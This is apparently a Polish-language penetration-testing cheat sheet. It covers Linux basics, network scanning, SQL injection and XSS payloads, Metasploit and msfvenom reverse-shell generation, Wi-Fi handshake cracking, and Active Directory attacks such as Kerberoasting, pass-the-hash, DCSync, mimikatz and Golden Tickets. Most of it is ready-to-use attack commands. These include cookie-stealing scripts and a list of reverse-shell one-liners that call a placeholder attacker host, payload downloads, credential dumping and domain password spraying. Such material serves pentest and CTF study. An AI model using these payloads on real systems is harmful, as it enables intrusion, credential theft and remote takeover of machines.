# gdzie jestem, co tu jest, co w środku
$ pwd ; ls -la       # -l długi format, -a pliki ukryte
$ cd /var/log
$ cat plik.txt        # cały plik
$ less plik.txt       # stronicowanie (q = wyjście)
$ head -n 20 plik      # pierwsze 20 linii
$ tail -f auth.log     # śledzenie na żywo
$ find / -name "*.conf" -type f 2>/dev/null

$ chmod 750 skrypt.sh   # rwx r-x ---  (u=7,g=5,o=0)
$ chown user:grupa plik
$ find / -perm -4000 -type f 2>/dev/null   # SUID — złoto przy privesc

$ cat access.log | grep "404" | wc -l
$ cut -d: -f1 /etc/passwd | sort | uniq    # lista userów
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn  # top IP
$ sed 's/foo/bar/g' plik
$ polecenie > out.txt 2> err.txt < in.txt
$ polecenie > all.txt 2>&1                    # stdout+stderr razem

$ echo -n "haslo" | base64          # aGFzbG8=
$ echo "aGFzbG8=" | base64 -d
$ echo -n "abc" | xxd              # podgląd hex
$ echo "tekst" | tr 'A-Za-z' 'N-ZA-Mn-za-m'  # ROT13
$ md5sum plik ; sha256sum plik
$ file zdjecie                       # typ po nagłówku (magic bytes)

$ systemctl status ssh
$ systemctl start|stop|enable nginx
$ journalctl -u ssh -n 50 --no-pager
$ ls /var/log/            # auth.log, syslog, apache2/…

$ ps aux | grep nginx        # procesy + kto uruchomił
$ top / htop                 # monitor na żywo
$ kill -9 1337              # ubij PID
$ skrypt.sh &   ;   nohup skrypt.sh &   # w tle / przeżyje wylogowanie
$ jobs ; fg %1

$ id ; whoami ; sudo -l       # kim jestem, co mogę
$ cat /etc/passwd /etc/group
$ crontab -l ; cat /etc/crontab   # zaplanowane zadania (privesc!)
$ systemctl list-units --type=service

#!/bin/bash
# ping-sweep po podsieci /24
net="192.168.1"
for i in $(seq 1 254); do
  ip="$net.$i"
  if ping -c1 -W1 "$ip" &>/dev/null; then
    echo "[+] $ip UP"
  fi
done

# klasyczne ucieczki do pełnej powłoki
:!/bin/sh          # z vi/vim
!/bin/sh           # z less/more (podczas przeglądania)
$ awk 'BEGIN{system("/bin/sh")}'
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# analiza plików danych
$ strings plik.bin | less   ;   xxd plik | head   ;   file plik

# 1. kto żyje w podsieci
$ nmap -sn 192.168.1.0/24
# 2. SYN scan wszystkich portów
$ nmap -sS -p- 10.10.10.5
# 3. wersje usług + skrypty (identyfikacja oprogramowania)
$ nmap -sV -sC -p 22,80,443 10.10.10.5
# 4. agresywny (OS, wersje, skrypty, traceroute)
$ nmap -A -T4 10.10.10.5
# 5. UDP (wolne — wybieraj porty)
$ nmap -sU --top-ports 20 10.10.10.5
# 6. zapis wyników
$ nmap -sV -oN scan.txt -oX scan.xml 10.10.10.5

$ iptables -L -n -v
$ iptables -A INPUT -p tcp --dport 22 -j ACCEPT
$ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$ iptables -P INPUT DROP           # polityka domyślna: blokuj

# ręczny request HTTP przez netcat
$ nc example.com 80
GET / HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Server: nginx

$ dig example.com A ; dig example.com MX ; dig example.com TXT NS
$ dig axfr @ns1.target.com target.com   # próba transferu strefy!

$ nc mail.target.com 25
220 mail.target.com ESMTP
HELO test
VRFY admin          # czy user istnieje (jeśli włączone)

$ openssl s_client -connect example.com:443   # podejrzyj cert/TLS
$ ssh -v user@host                          # verbose = widać negocjację

# SMB (445)
$ enum4linux -a 10.10.10.5
$ smbclient -L //10.10.10.5/ -N
$ crackmapexec smb 10.10.10.5
# FTP (21) — sprawdź anonymous
$ ftp 10.10.10.5     # login: anonymous
# web — katalogi i pliki
$ ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt
$ gobuster dir -u http://10.10.10.5 -w common.txt -x php,txt
$ nikto -h http://10.10.10.5   ;   whatweb http://10.10.10.5

$ ./linpeas.sh    # Linux — automat enumeracji privesc
$ ./pspy64        # podglądaj procesy/cron bez roota
$ .\winPEASx64.exe   # Windows

$ strings plik | grep -i flag     # szybki strzał
$ binwalk -e plik                  # ukryte pliki w pliku
$ exiftool zdjecie.jpg             # metadane
$ steghide extract -sf obraz.jpg   # steganografia
$ zsteg obraz.png   ;   pngcheck obraz.png
# + CyberChef w przeglądarce do encoding/crypto

$ hashid '$2b$...'   ;   hash-identifier   # rozpoznaj typ
$ hashcat -m 0 hash.txt rockyou.txt          # -m 0 = MD5
$ john --wordlist=rockyou.txt hash.txt

# 1. Proxy > Options: listener na 127.0.0.1:8080
# 2. Przeglądarka (użyj wbudowanej: Proxy > Intercept > Open Browser)
# 3. Certyfikat: http://burp > CA Certificate > zaimportuj
# 4. Intercept OFF na start, cały ruch leci do HTTP history
    prawy klik na request > Send to Repeater (Ctrl+R)

# w Burp Repeater podmieniasz id
GET /api/invoice?id=1024 HTTP/1.1     # moja faktura
GET /api/invoice?id=1025 HTTP/1.1     # czyjaś? → jeśli 200 = IDOR
# vertical: dostęp do panelu admina jako zwykły user
GET /admin/deleteUser?id=5 HTTP/1.1

# wstaw pojedynczy apostrof — błąd = potencjalna podatność
?id=1'
# logika boolean: różnica w odpowiedzi = injectable
?id=1' AND 1=1--     # działa normalnie
?id=1' AND 1=2--     # pusto / inaczej

# zwiększaj aż poleci błąd — ostatnia działająca = liczba kolumn
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3--   # błąd na 4 = są 3 kolumny
# alternatywnie: UNION SELECT NULL,NULL,NULL--

# znajdź kolumnę wyświetlającą tekst
?id=1' UNION SELECT 'a',NULL,NULL--
# wyciągnij wersję i dane
?id=1' UNION SELECT @@version,NULL,NULL--
?id=1' UNION SELECT username,password,NULL FROM users--

$ sqlmap -u "http://cel/item?id=1" --batch --dbs
$ sqlmap -r request.txt --dump -D app -T users   # z zapisanego requestu Burpa

# 1. test — czy wykonuje się JS
<script>alert(1)</script>
# 2. gdy <script> filtrowany — event handlery
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# 3. wyjście z atrybutu
"><script>alert(1)</script>
' onmouseover='alert(1)
# 4. impact — kradzież ciasteczka sesji
<script>fetch('https://ATAKUJACY/c='+document.cookie)</script>

# SSRF — wskaż serwerowi wewnętrzny zasób
url=http://169.254.169.254/latest/meta-data/
# XXE — czytanie pliku przez encję zewnętrzną
<!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]><x>&e;</x>
# command injection — sprawdź wykonanie polecenia
127.0.0.1; id
127.0.0.1 | whoami
# path traversal
?file=../../../../etc/passwd

# złam słaby sekret HMAC (tryb 16500), potem podpisz własny token
$ hashcat -m 16500 jwt.txt rockyou.txt
# narzędzie do manipulacji/łamania JWT
$ python3 jwt_tool.py <token> -C -d rockyou.txt

# recon przez moduł auxiliary
msf> use auxiliary/scanner/smb/smb_version
msf> set RHOSTS 10.10.10.0/24 ; run
# znajdź i użyj exploita
msf> search type:exploit vsftpd
msf> use exploit/unix/ftp/vsftpd_234_backdoor
msf> show options
msf> set RHOSTS 10.10.10.5
msf> set LHOST 10.10.14.2
msf> set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf> run
# po wejściu — post-exploitation
meterpreter> getuid ; sysinfo
meterpreter> hashdump
meterpreter> migrate -N explorer.exe
meterpreter> run post/multi/recon/local_exploit_suggester

# Windows exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe -o s.exe
# Linux elf
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf -o s.elf
# web — PHP
$ msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=4444 -f raw -o s.php
# nasłuch w msfconsole
msf> use multi/handler ; set PAYLOAD windows/meterpreter/reverse_tcp ; run

$ airmon-ng start wlan0            # tryb monitor → wlan0mon
$ airodump-ng wlan0mon             # znajdź BSSID/kanał
$ airodump-ng -c 6 --bssid AA:BB:.. -w cap wlan0mon
$ aireplay-ng --deauth 5 -a AA:BB:.. wlan0mon  # wymuś handshake
$ aircrack-ng -w rockyou.txt cap*.cap    # łamanie offline
# nowocześniej: PMKID bez klienta + hashcat -m 22000
$ hcxdumptool -i wlan0mon -o pmkid.pcapng

# z Linuksa (Kali) — mając creds usera
$ nxc smb 10.10.10.0/24 -u user -p Pass123 --shares   # netexec (d. crackmapexec)
$ nxc ldap DC.corp.local -u user -p Pass123 --users
$ ldapsearch -x -H ldap://DC -D user@corp.local -w Pass123 -b "dc=corp,dc=local"
# zbieranie danych pod BloodHound
$ bloodhound-python -u user -p Pass123 -d corp.local -ns 10.10.10.5 -c all
# z Windowsa
PS> Import-Module .\PowerView.ps1 ; Get-NetUser ; Get-NetGroup "Domain Admins"

$ impacket-GetUserSPNs corp.local/user:Pass123 -dc-ip 10.10.10.5 -request
$ hashcat -m 13100 tgs.txt rockyou.txt      # łamanie offline

$ impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.5
$ hashcat -m 18200 asrep.txt rockyou.txt

# pass-the-hash — logujesz się hashem NTLM zamiast hasłem
$ nxc smb 10.10.10.20 -u admin -H aad3b435...:31d6cfe0...
$ impacket-psexec corp.local/admin@10.10.10.20 -hashes :31d6cfe0...
# zdalny shell z creds
$ evil-winrm -i 10.10.10.20 -u admin -H 31d6cfe0...

# DCSync — udajesz DC i prosisz o hashe (wymaga uprawnień replikacji)
$ impacket-secretsdump corp.local/admin@10.10.10.5 -just-dc
# zrzut lokalnych sekretów / LSASS na przejętej maszynie
$ nxc smb 10.10.10.20 -u admin -H HASH --sam --lsa
# mimikatz (Windows) — wyciąg haseł/biletów z pamięci
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /user:corp\krbtgt   # klucz do Golden Ticket

# szybki pełny recon (2 fazy)
$ nmap -p- --min-rate 5000 -oN all.txt 10.10.10.5
$ nmap -sV -sC -p $(open porty) -oN deep.txt 10.10.10.5
# skan pod podatności / SMB
$ nmap --script smb-vuln* -p 445 10.10.10.5
$ nmap --script http-enum -p 80 10.10.10.5

# wykrywanie
'        "        `        \        # wywołaj błąd
' AND 1=1--       ' AND 1=2--        # boolean
' OR SLEEP(5)--   ' OR pg_sleep(5)-- # time-based
# obejście logowania (username field)
admin'--
admin' #
' OR 1=1--
' OR '1'='1

' ORDER BY 3--                              # liczba kolumn
' UNION SELECT NULL,NULL,NULL--             # dopasuj kolumny
' UNION SELECT username,password,3 FROM users--
# blind boolean — znak po znaku
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--

$ sqlmap -u "http://cel/?id=1" --batch --dbs
$ sqlmap -r req.txt --dump -D app -T users
$ sqlmap -u URL --level 5 --risk 3 --batch   # głębiej

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">

# w atrybucie
"><script>alert(1)</script>
' onmouseover='alert(1)
# w JS stringu
';alert(1)//
# w href
javascript:alert(1)

# wielkość liter
<ScRiPt>alert(1)</sCrIpT>
# bez nawiasów / bez spacji
<svg/onload=alert`1`>
<img src=x onerror=alert`1`>
# kodowanie HTML/URL encji
<img src=x onerror=&#97;lert(1)>
# zagnieżdżony (gdy usuwa "script" raz)
<scr<script>ipt>alert(1)</script>

<script>fetch('https://ATAKUJACY/c='+document.cookie)</script>
<script>new Image().src='https://ATAKUJACY/?c='+btoa(document.cookie)</script>

$ nc -lvnp 4444              # prosty listener
$ rlwrap nc -lvnp 4444       # z historią/strzałkami

# Bash
bash -i >& /dev/tcp/ATAKUJACY/4444 0>&1
# Netcat (z -e)
nc -e /bin/sh ATAKUJACY 4444
# Netcat bez -e (mkfifo)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATAKUJACY 4444 >/tmp/f
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATAKUJACY",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh"])'
# PHP
php -r '$s=fsockopen("ATAKUJACY",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATAKUJACY',4444);..."

# 1. na celu
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z (zawieś), u siebie:
stty raw -echo; fg
# 3. z powrotem na celu:
export TERM=xterm ; stty rows 38 cols 116

$ id ; sudo -l                     # co mogę jako root
$ find / -perm -4000 -type f 2>/dev/null   # SUID
$ getcap -r / 2>/dev/null           # capabilities
$ crontab -l ; cat /etc/crontab    # zadania
$ cat /etc/passwd                   # zapisywalny? writable?
$ uname -a                         # wersja jądra → exploit?
$ ls -la /home/*/.ssh/            # klucze

whoami /priv                # SeImpersonate → Potato attacks
whoami /groups
systeminfo                  # wersja → brakujące patche
# unquoted service path, AlwaysInstallElevated,
# stored creds (cmdkey /list), scheduled tasks

$ python3 -m http.server 80        # serwuj bieżący katalog
$ impacket-smbserver share . -smb2support   # SMB dla Windows

$ wget http://ATAKUJACY/linpeas.sh -O /tmp/l.sh
$ curl http://ATAKUJACY/l.sh -o /tmp/l.sh
$ scp plik user@cel:/tmp/

certutil -urlcache -f http://ATAKUJACY/nc.exe nc.exe
powershell IWR -Uri http://ATAKUJACY/f.exe -OutFile f.exe
powershell (New-Object Net.WebClient).DownloadFile('http://ATAKUJACY/f.exe','f.exe')

# 1. rozpoznaj typ
$ hashid '$6$xyz...'   ;   nth --text 'HASH'
# 2. słownikowo
$ hashcat -m 1800 hash.txt rockyou.txt
# 3. słownik + reguły (mutacje)
$ hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 4. brute-force maską (8 znaków, małe litery+cyfry)
$ hashcat -m 0 hash.txt -a 3 '?l?l?l?l?l?l?l?d'
# pokaż złamane
$ hashcat -m 0 hash.txt --show
# John — alternatywa
$ john --wordlist=rockyou.txt --format=sha512crypt hash.txt
$ john --show hash.txt

# netexec (nxc) — szwajcarski scyzoryk AD
nxc smb 10.0.0.0/24 -u u -p p --shares --users --groups
nxc smb DC -u u -p p --pass-pol          # polityka haseł
nxc ldap DC -u u -p p --kerberoasting out.txt
# null session / anonymous
enum4linux-ng -A 10.0.0.5
rpcclient -U "" -N 10.0.0.5      # enumdomusers, querydominfo
# BloodHound collector
bloodhound-python -u u -p p -d corp.local -ns DC_IP -c all

# pass-the-hash
nxc smb TARGET -u admin -H NTLM_HASH
impacket-psexec corp/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec corp/admin@TARGET -hashes :NTLM_HASH
evil-winrm -i TARGET -u admin -H NTLM_HASH
# spray hasła po całej domenie (uwaga na lockout!)
nxc smb 10.0.0.0/24 -u users.txt -p 'Winter2026!' --continue-on-success

# DCSync — zrzut hashy z DC
impacket-secretsdump corp/admin@DC -just-dc
impacket-secretsdump corp/admin@DC -just-dc-user krbtgt
# mimikatz (Windows)
sekurlsa::logonpasswords
lsadump::dcsync /user:corp\Administrator
# Golden Ticket (mając hash krbtgt)
kerberos::golden /user:fake /domain:corp.local /sid:S-1-5-... /krbtgt:HASH /ptt